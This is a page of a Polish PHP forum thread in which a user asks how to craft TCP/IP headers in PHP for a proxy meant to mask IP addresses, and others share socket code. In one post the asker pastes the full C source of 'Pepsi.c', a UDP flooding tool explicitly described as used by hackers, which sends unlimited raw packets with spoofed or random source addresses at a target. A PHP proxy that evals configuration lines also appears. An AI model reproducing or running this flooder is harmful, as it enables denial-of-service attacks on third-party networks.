Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

2 Stron V   1 2 >  
Reply to this topicStart new topic
> Nagłówki TCP/IP w PHP
tajga
post
Post #1





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
Go to the top of the page
+Quote Post
dragossani
post
Post #2





Grupa: Przyjaciele php.pl
Postów: 398
Pomógł: 0
Dołączył: --
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Jakieś szczegóły? php to trochę inny poziom warstwy komunikacyjnej. W jakim celu chcesz budować nagłówek TCP/IP w php?


--------------------
cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
Go to the top of the page
+Quote Post
tajga
post
Post #3





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


Buduję server proxy, potrzebuję zamaskować adres IP.
Go to the top of the page
+Quote Post
dragossani
post
Post #4





Grupa: Przyjaciele php.pl
Postów: 398
Pomógł: 0
Dołączył: --
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Piszesz serwer proxy w php? Jesteś pewien, że to dobry pomysł?


--------------------
cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
Go to the top of the page
+Quote Post
tajga
post
Post #5





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


dlaczego, działa całkiem sprawnie.
Go to the top of the page
+Quote Post
dragossani
post
Post #6





Grupa: Przyjaciele php.pl
Postów: 398
Pomógł: 0
Dołączył: --
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Kod jest opensource? Mógłbyś podać jakiś namiar gdzie można obejrzeć źródła?

Widzę, że nikt poza mną nie zainteresował się na razie twoim pytaniem. To dość dziwne, bo to ciekawy temat.

Skoro wiesz jak zbudować nagłówek w C to kod w php sprowadza się do przetłumaczenia tego co już masz. Udostępnij fragment kodu w C - będzie można się do niego odnieść.


--------------------
cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
Go to the top of the page
+Quote Post
tajga
post
Post #7





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


ok zaraz nadeślę
Go to the top of the page
+Quote Post
Jabol
post
Post #8





Grupa: Przyjaciele php.pl
Postów: 1 467
Pomógł: 13
Dołączył: 22.02.2003

Ostrzeżenie: (0%)
-----


hehe, racja dragossani. Zresztą temat serwerów w php sam już poruszałem. Również chciałbym coś takiego zobaczyć. Aha, i jestem ciekawy w jaki sposób odczytujesz dane przekazane przez użytkownika i jak na nie odpowiadasz (readline, print, czy jak??), bo ten problem mnie już dawno męczy.
Go to the top of the page
+Quote Post
tajga
post
Post #9





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


server komunikuje się na jakimś porcie, po prostu czytac z okreslonego portu, aby dowiedzieć się jaki jest IP klienta wystarczy wywołać funkcję
socket_getpeername($clisock, $IP);
w zmiennej $IP jest adres klienta.

Mnie osobiście interesuje budowanie nagłówków tcp/ip.
Go to the top of the page
+Quote Post
tajga
post
Post #10





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h>
<netinet/tcp.h>
<arpa/inet.h>
<netinet/udp.h>

zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów.

Kod
#define FRIEND "My christmas present to the Internet -Soldier"

#define VERSION "Pepsi.c v1.7"

#define DSTPORT 7

#define SRCPORT 19

#define PSIZE 1024

#define DWAIT 1

/*

* Inkludy

*/

#include <fcntl.h>

#include <syslog.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netconfig.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <arpa/inet.h>

#include <signal.h>

#include <netinet/udp.h>

#include <string.h>

#include <pwd.h>

/*

* Baner.

*/

void banner()

{

printf( "ttt%s Author - Soldier n", VERSION );

printf( "ttt [10.27.97] nn" );

printf( "This Copy Register to: %snn", FRIEND );

}

/*

* Deklaracje opcji.

*/

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;

struct ip *ip;

char *target;

char *srchost;

int dstport = 0;

int srcport = 0;

int numpacks = 0;

int psize = 0;

int wait = 0;

void usage(char *pname)

{

printf( "Usage:n " );

printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname );

printf( "t-s <src> : source where packets are coming fromn" );

printf( "t-n <num> : number of UDP packets to sendn" );

printf( "t-p <size> : Packet size [Default is 1024]n" );

printf( "t-d <port> : Destination port [Default is %.2d]n",

DSTPORT );

printf( "t-o <port> : Source port [Default is %.2d]n",

SRCPORT );

printf( "t-w <time> : Wait time between pkts [Default is 1]n" );

printf( "t<dest> : Destinationn" );

printf( "n" );

exit(EXIT_SUCCESS);

}

/*

* Kod sumy kontrolnej, original by Soldier.

*/

unsigned short in_cksum(u_short *addr, int len)

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1 )

{

sum += *w++;

sum += *w++;

nleft -= 2;

}



if (nleft == 1)

{

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 17) + (sum & 0xffff);

sum += (sum >> 17);

answer = -sum;

return (answer);

}

void main(int argc, char *argv[])

{

int sen;

int i;

int unlim = 0;

int sec_check;

int opt;

char *packet;

struct hostent *host = NULL;

unsigned long a;

/*

* Rozpoczynamy od banera.

*/

banner();

/*

* Opcje debugowania.

*/

openlog( "PEPSI", 0, LOG_LOCAL5 );

if (argc < 2)

usage(argv[0]);

while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)

{

switch(opt)

{

case 's':

srchost = (char *)malloc(strlen(optarg) + 1);

strcpy(srchost, optarg);

break;

case 'd':

dstport = atoi(optarg);

break;

case 'n':

numpacks = atoi(optarg);

break;

case 'p':

psize = atoi(optarg);

break;

case 'w':

wait = atoi(optarg);

break;

case 'o':

srcport = atoi(optarg);

break;

default:

usage(argv[0]);

break;

}

if (!dstport)

{

dstport = DSTPORT;

}

if (!srcport)

{

srcport = SRCPORT;

}

if (!psize)

{

psize = PSIZE;

}

if (!argv[optind])

{

puts( "[*] Specify a target host, doof!" );

exit(EXIT_FAILURE);

}

target = (char *)malloc(strlen(argv[optind]));

if (!target)

{

puts( "[*] Agh! Out of memory!" );

perror( "malloc" );

exit(EXIT_FAILURE);

}

strcpy(target, argv[optind]);

}

memset(&dstaddr, 0, sizeof(struct sockaddr_in));

dstaddr.sin_family = AF_INET;

dstaddr.sin_addr.s_addr = inet_addr(target);

if (dstaddr.sin_addr.s_addr == -1)

{

host = gethostbyname(target);

if (host == NULL)

{

printf( "[*] Unable to resolve %stn", target );

exit(EXIT_FAILURE);

}

dstaddr.sin_family = host->h_addrtype;

memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);

}

memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);

printf( "# Target Host : %sn", target );

printf( "# Source Host : %sn",

(srchost && *srchost) ? srchost : "Random" );

if (!numpacks)

printf( "# Number : Unlimitedn" );

else

printf( "# Number : %dn", numpacks );

printf( "# Packet Size : %dn", psize );

printf( "# Wait Time : %dn", wait );

printf( "# Dest Port : %dn", dstport );

printf( "# Source Port : %dn", srcport );

/*

* Otwarcie gniazda.

*/

sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);



packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +

psize);

ip = (struct ip *)packet;

udp = (struct udphdr *)(packet + sizeof(struct ip));

memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);

if (!numpacks)

{

unlim++;

numpacks++;

}

if (srchost && *srchost)

{

if (!(host = gethostbyname(srchost)))

{

printf( "[*] Unable to resolve %stn", srchost );

syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );

exit(EXIT_FAILURE);

}

else

{

ip->ip_src.s_addr = ((unsigned long)host->h_addr);

syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );

}

}

ip->ip_dst.s_addr = dst;

ip->ip_v = 4;

ip->ip_hl = 5;

ip->ip_ttl = 255;

ip->ip_p = IPPROTO_UDP;

ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);

ip->ip_sum = in_cksum(ip, sizeof(struct ip));

udp->uh_sport = htons(srcport);

udp->uh_dport = htons(dstport);

udp->uh_ulen = htons(sizeof(struct udphdr) + psize);

for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)

{

if (!srchost)

{

ip->ip_src.s_addr = ((unsigned long)rand());

syslog( LOG_NOTICE, "IP source set randomly." );

}



if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +

psize, 0, (struct sockaddr *)&dstaddr,

sizeof(struct sockaddr_in)) == (-1))

{

puts( "[*] Error sending packet." );

perror( "Sendpacket" );

exit(EXIT_FAILURE);

}

usleep(wait);

}

syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );

}
Go to the top of the page
+Quote Post
Jabol
post
Post #11





Grupa: Przyjaciele php.pl
Postów: 1 467
Pomógł: 13
Dołączył: 22.02.2003

Ostrzeżenie: (0%)
-----


Mógłbyś tutaj umieścić sourcy tego proxy, tak z czystej ciekawości.

Co do twojego projektu zawsze można napisać własne rozszerzenie php (w c oczywiście winksmiley.jpg ).
Go to the top of the page
+Quote Post
tajga
post
Post #12





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


fakt o tym nie pomyślałem. Dzięki.

kod proxy kożysta z trzech plików
1.) czyta konfiguracje
2.) obsługuje wątki (niestsety tylko pod linuxem)
3.) właściwy proxy

w takiej kolejności zamieszczam pliki:

[php:1:c66766329c]<?php
<?
class ReadConfFile
{
var $file;
var $var_conf;

function ReadConfFile($name_file)
{
$this->file = $name_file;
$this->var_conf = array();
}

function read_Config()
{
$fp = fopen($this->file, 'r');
if($fp){
while(!feof($fp)) {
$conf = trim(fgets($fp, 255));
if(substr($conf,0,1) != "#") {
array_push($this->var_conf, $conf);
};
};
fclose($fp);
} else {
exit();
};

print date("Y-m-d H:i:s")." CONFIG FILE READn";
foreach($this->var_conf as $var){
print $var."n";
};
}

function get_Acces($address, $ip)
{

$ACCESS = -1;
foreach($this->var_conf as $config)
eval($config);

$H = date('H:i');
$CHD = strtolower(date('l'));

$D = explode(",", $DAYES);
$HOST = explode(",", $HOST);
$IP = explode(",", $IP);

if(array_search($CHD, $D) > -1)
{
$ACCESS = 0;
} else {
if($HOUR_FROM > $H or $HOUR_TO < $H)
$ACCESS = 0;
};

if(array_search($address, $HOST) != FALSE || array_search($address, $HOST) > -1) {
$ACCESS = 0;
};

if(array_search($ip, $IP) != FALSE || array_search($ip, $IP) > -1) {
$ACCESS = 0;
};

return $ACCESS;
}
};
?>
?>[/php:1:c66766329c]


[php:1:c66766329c]<?php
<?
class Thread
{
var $uid;
var $gid;
var $pid;

function Thread()
{
pcntl_signal(SIGCHLD, array($this,"sig_handler"));
pcntl_signal(SIGTERM, array($this,"sig_handler"));
pcntl_signal(SIGINT, array($this,"sig_handler"));
$this->uid = 99;
$this->gid = 99;
}

function sig_handler($signo)
{
switch($signo)
{
case SIGTERM:
exit;
break;// handle shutdown tasks
case SIGHUP:
break;// handle restart tasks
case SIGUSR1:
print "Caught SIGUSR1...n"; break;
case SIGCHLD:
while( pcntl_waitpid(-1,$status,WNOHANG) > 0 ) {};
break;
case SIGINT:
exit;
default:
/* not implemented yet...*/
break;
};
}

function start_thread($object, $handler, $time, $arg=array())
{
$CH_PID = pcntl_fork();

if($CH_PID == -1)
{
//not child
}
elseif ($CH_PID == 0)
{
//parent
}
else
{
if(!posix_setsid())
exit;
set_time_limit($time);
$this->pid = posix_getpid();
$this->change_identity();
call_user_func(array($object,$handler),$arg);
exit;
};
exit();
}

function change_identity()
{
if(!posix_setgid($this->gid)) {
print "Unable to setgid to $gid!n";
exit;
}
if(!posix_setuid($this->uid)) {
print "Unable to setuid to $uid!n";
exit;
};
}

};
?>
?>[/php:1:c66766329c]




[php:1:c66766329c]<?php
#!/usr/local/bin/php
<?
require("c_Thread.php");
require("c_ReadConfFile.php");

class proxy_HTTP
{
var $SERVER_SOCK;
var $LOG;

function proxy_HTTP()
{
$this->LOG = 1;
if(!extension_loaded('sockets'))
dl('php_sockets');
set_time_limit(0);
ob_implicit_flush();
$port = 9000;
$address = "192.168.254.51";
$this->SERVER_SOCK = socket_create(AF_INET, SOCK_STREAM, 0);
socket_set_option($this->SERVER_SOCK, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($this->SERVER_SOCK, $address, $port);
socket_listen($this->SERVER_SOCK, 10);
$this->start();
}

function start()
{
$CONFIG = new ReadConfFile("conf");
$CONFIG->read_Config();

do {
if(!$this->SERVER_SOCK)
$this->proxy_HTTP();

if(($clisock = socket_accept($this->SERVER_SOCK)) > 0)
{
$BUF = socket_read($clisock, 2048);
/*
$fs = fopen("url.dat","w");
fputs($fs,$BUF);
fclose($fs);
break;
*/
if(trim($BUF) == "kill") {
socket_close($this->SERVER_SOCK);
break ;
};

eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));
$address = trim(str_replace("www.","",$address));

socket_getpeername($clisock, $client_ip);
$ACCESS = $CONFIG->get_Acces($address, $client_ip);

if( $ACCESS > -1)
{
$thread = new Thread();
$param[0] = $clisock;
$param[1] = $BUF;
$thread->start_thread($this,'get_connect',20,$param);
unset($thread);
}
else
{
$BUF2 = $this->info();
socket_write($clisock, $BUF2, strlen($BUF2));
socket_close($clisock);
};
}
else
{
break;
};
} while (TRUE);
socket_close($this->SERVER_SOCK);
}

function get_connect($arg)
{
$clisock = $arg[0];
$BUF = $arg[1];

eregi("HOST:.*",$BUF,$o);
$BUFF = substr($o[0],5);
$pos = strpos($BUFF,"r");
$address = trim(substr($BUFF,0,$pos));

if($this->LOG){
socket_getpeername($clisock, $IP);
$arg[0] = $IP;
$arg[1] = $address;
$arg[2] = "GET";
$arg[3] = strlen($BUF);
$this->log($arg);
};

//if(eregi("CONNECT",$BUF)) {
//$BUF = eregi_replace("https://$address","",$BUF);
// $port = 443;
//} else {
$BUF = str_replace("http://$address","",$BUF);
$port = 80;
//};
$fps = fsockopen(gethostbyname($address), $port, $errno, $errstr, 15);
//$socket = socket_create(AF_INET, SOCK_STREAM, 0);
//$stat = @socket_connect($socket, $address, $port);
if($fps)
{
$BUF.="rnrn";
$how_write = strlen($BUF);
//$ok = socket_write($socket, $BUF, $how_write);
fputs($fps, $BUF, $how_write);
//if($ok == $how_write) {
$buffer="";
$how_write=0;
while(!feof($fps))//$BUF = socket_read($socket, 2048)
{
//$how_write+= strlen($BUF);
$buffer.= fgets($fps,255);//$BUF;
$how_write+= strlen($buffer);
};
socket_write($clisock, $buffer, $how_write);
//};
//socket_close($socket);
fclose($fps);
}
else
{
$BUF = $this->info(1);
socket_write($clisock, $BUF, strlen($BUF));
};
socket_close($clisock);
exit();
}

function info($typ=0)
{
switch($typ) {
case 0 : $f = fopen('proxy_ERR/index.html','r'); break;
case 1 : $f = fopen('proxy_ERR/err.html','r'); break;
};
while(!feof($f))
$dat.= fgets($f, 255);
fclose($f);
$data= "HTTP/1.1 200 OKrnPragma: no-cachernCache-Control: no-cachernContent-Type: text/htmlrnContent-Length: ".strlen($dat)."rnConnection: closern";
return $data.$dat;
}

function log($arg)
{
$log = date("Y-m-d H:i:s"). " - IP: ".$arg[0]." OPTION: ".$arg[2]." HOST: ".$arg[1]." SIZE: ".$arg[3]."n";
$f = fopen("proxy_log","a");
fputs($f, $log);
fclose($f);
}
};
new proxy_HTTP;
?>
?>[/php:1:c66766329c]
?>[/php]
Go to the top of the page
+Quote Post
tajga
post
Post #13





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


sorry za błędy ortograficzne
Go to the top of the page
+Quote Post
tajga
post
Post #14





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


Ze skryptu można korzystać. Mam tylko jedną prośbę gdy ktokolwiek zmodyfikował, lub dodał coś interesującego to bardzo bym prosił o informację na tem temat.

e-mail : marcin@jazztranslation.com
Go to the top of the page
+Quote Post
tajga
post
Post #15





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


do sprawnego dzialania trzeba dodać wywołanie funkcji [php:1:7a2f32c30e]<?php
posix_kill($pid,SIGCHLD);
?>[/php:1:7a2f32c30e] na końcu wywołanej funkcji w sekcji THREAD.
Go to the top of the page
+Quote Post
[Regis]
post
Post #16





Grupa: Zarejestrowani
Postów: 100
Pomógł: 0
Dołączył: 19.04.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


O kurka... niezle - w zyciu bym sie nie spodziewal, ze ktos bedzie cos takiego pisal smile.gif Zagadnienie ciekawe w sumie...
Go to the top of the page
+Quote Post
squid
post
Post #17





Grupa: Zarejestrowani
Postów: 358
Pomógł: 0
Dołączył: 3.07.2003
Skąd: Szczecin->niebuszewo->*(next to window)

Ostrzeżenie: (0%)
-----


Nigdy nie uzywalem TCP/IP bezposrednio w php ale uzywalem HTTP i to w tym protokole wyglada tak:
[php:1:d0ecec1634]<?php
$adres="www.google.pl";
$page_adres="/search/index.html";
$port=80;
$time_limit=30;
set_time_limit($time_limit);
if(!extension_loaded('sockets')) dl("php_sockets.dll");// .so jak po unixem
$like_file_open=fsockopen($adres, $port, $errorno, $error, $time_limit);
if($like_file_open) {
fputs($like_file_open, "HEAD " . $page_adres . " HTTP/1.0rnrn");
while(!feof($like_file_open)) $data[]=fgets($like_file_open, 1000);
fclose($like_file_open);
}
else {
echo "<br>Błąd: " . $errorno . "<br>". $error;
}
reset($data);
while(list($k , $v)=each($data)) echo "<br>Klucz: ".$k." <br>Wartosc: " . $v;

// i tak dalej wszystko tak jak dla pliku do odczytu i zapisu
?>[/php:1:d0ecec1634]
moze TCP/IP robi sie analogicznie podajesz rodzaj i wersje protokolu dlaej robisz co chcesz, co prawda zupelnie nie wiem jak wygladaja naglowki w TCP/IP ale moze cos to komus pomoze winksmiley.jpg ...
Go to the top of the page
+Quote Post
squid
post
Post #18





Grupa: Zarejestrowani
Postów: 358
Pomógł: 0
Dołączył: 3.07.2003
Skąd: Szczecin->niebuszewo->*(next to window)

Ostrzeżenie: (0%)
-----


Cytat
[php:1:324d066f03]
if(!extension_loaded('sockets'))
[/php:1:324d066f03]

czy przy dynamicznym ladowaniu rozszerzen nie trza podawac rozszerzenia biblioteki .so/.dll questionmark.gif? uswiadomcie mnie
Go to the top of the page
+Quote Post
squid
post
Post #19





Grupa: Zarejestrowani
Postów: 358
Pomógł: 0
Dołączył: 3.07.2003
Skąd: Szczecin->niebuszewo->*(next to window)

Ostrzeżenie: (0%)
-----


naczy chodzi mi o funkcje dl() a nie extension_loaded()
Go to the top of the page
+Quote Post
tajga
post
Post #20





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 17.06.2003
Skąd: Konstanci-Jeziorna

Ostrzeżenie: (0%)
-----


możesz pisać dla dl sama nazwę bez rozszerzen
Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 19.08.2025 - 04:09